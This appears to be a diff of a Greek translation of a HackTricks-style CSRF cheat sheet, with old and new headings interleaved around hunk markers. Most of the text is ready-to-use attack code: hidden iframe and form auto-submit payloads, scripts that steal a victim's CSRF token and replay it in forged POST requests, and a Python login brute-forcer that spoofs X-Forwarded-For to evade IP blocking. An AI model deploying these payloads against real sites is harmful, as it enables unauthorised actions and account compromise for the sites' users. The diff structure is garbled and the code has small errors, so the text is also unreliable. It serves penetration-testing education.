```
### Φόρμα POST request μέσω iframe
### Αίτημα POST φόρμας μέσω iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
@ -373,7 +456,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data POST αίτημα v2
### multipart/form-data POST request v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
@ -401,7 +484,7 @@ body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### Φόρμα POST request από μέσα σε ένα iframe
### Αίτημα POST φόρμας από μέσα σε iframe
```html
<--! expl.html -->
@ -425,7 +508,7 @@ document.getElementById("formulario").submit()
</body>
</body>
```
### **Υποκλοπή CSRF Token και αποστολή ενός POST request**
### **Κλέψε το CSRF Token και στείλε ένα POST request**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
@ -472,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **Υποκλοπή CSRF Token και αποστολή Post request με iframe, form και Ajax**
### **Κλέψτε το CSRF Token και στείλτε ένα Post request χρησιμοποιώντας iframe, form και Ajax**
```html
<form
id="form1"
@ -500,7 +583,7 @@ style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
```
### **Κλέψε το CSRF Token και στείλε ένα POST request χρησιμοποιώντας ένα iframe και μία form**
### **Κλέψτε CSRF Token και στείλτε ένα POST request χρησιμοποιώντας ένα iframe και μια form**
```html
<iframe
id="iframe"
@ -533,7 +616,7 @@ document.forms[0].submit.click()
}
</script>
```
### **Κλέψε token και στείλε το χρησιμοποιώντας 2 iframes**
### **Κλέψε το token και στείλε το χρησιμοποιώντας 2 iframes**
```html
<script>
var token;
@ -563,7 +646,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF token με Ajax και στείλε ένα post με form**
### **POSTSteal CSRF token με Ajax και αποστολή ενός post με ένα form**
```html
<body onload="getData()">
<form
@ -616,7 +699,7 @@ room: username,
```
## CSRF Login Brute Force
Ο κώδικας μπορεί να χρησιμοποιηθεί για Brute Force μιας φόρμας σύνδεσης χρησιμοποιώντας ένα CSRF token (Χρησιμοποιεί επίσης το header X-Forwarded-For για να προσπαθήσει να παρακάμψει πιθανό IP blacklisting):
Ο κώδικας μπορεί να χρησιμοποιηθεί για να Brut Force μια φόρμα σύνδεσης χρησιμοποιώντας ένα CSRF token (χρησιμοποιεί επίσης την κεφαλίδα X-Forwarded-For για να προσπαθήσει να παρακάμψει πιθανό IP blacklisting):
```python
import request
import re
@ -664,6 +747,7 @@ login(USER, line.strip())
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
- [Burp Suite Professional Δημιουργία CSRF PoCs](https://portswigger.net/burp)
## Αναφορές
@ -672,5 +756,11 @@ login(USER, line.strip())
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Ο απόλυτος οδηγός για τις CSRF ευπάθειες (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
- [YesWeHack Dojo: Πρακτικά εργαστήρια](https://dojo-yeswehack.com/)
{{#include ../banners/hacktricks-training.md}}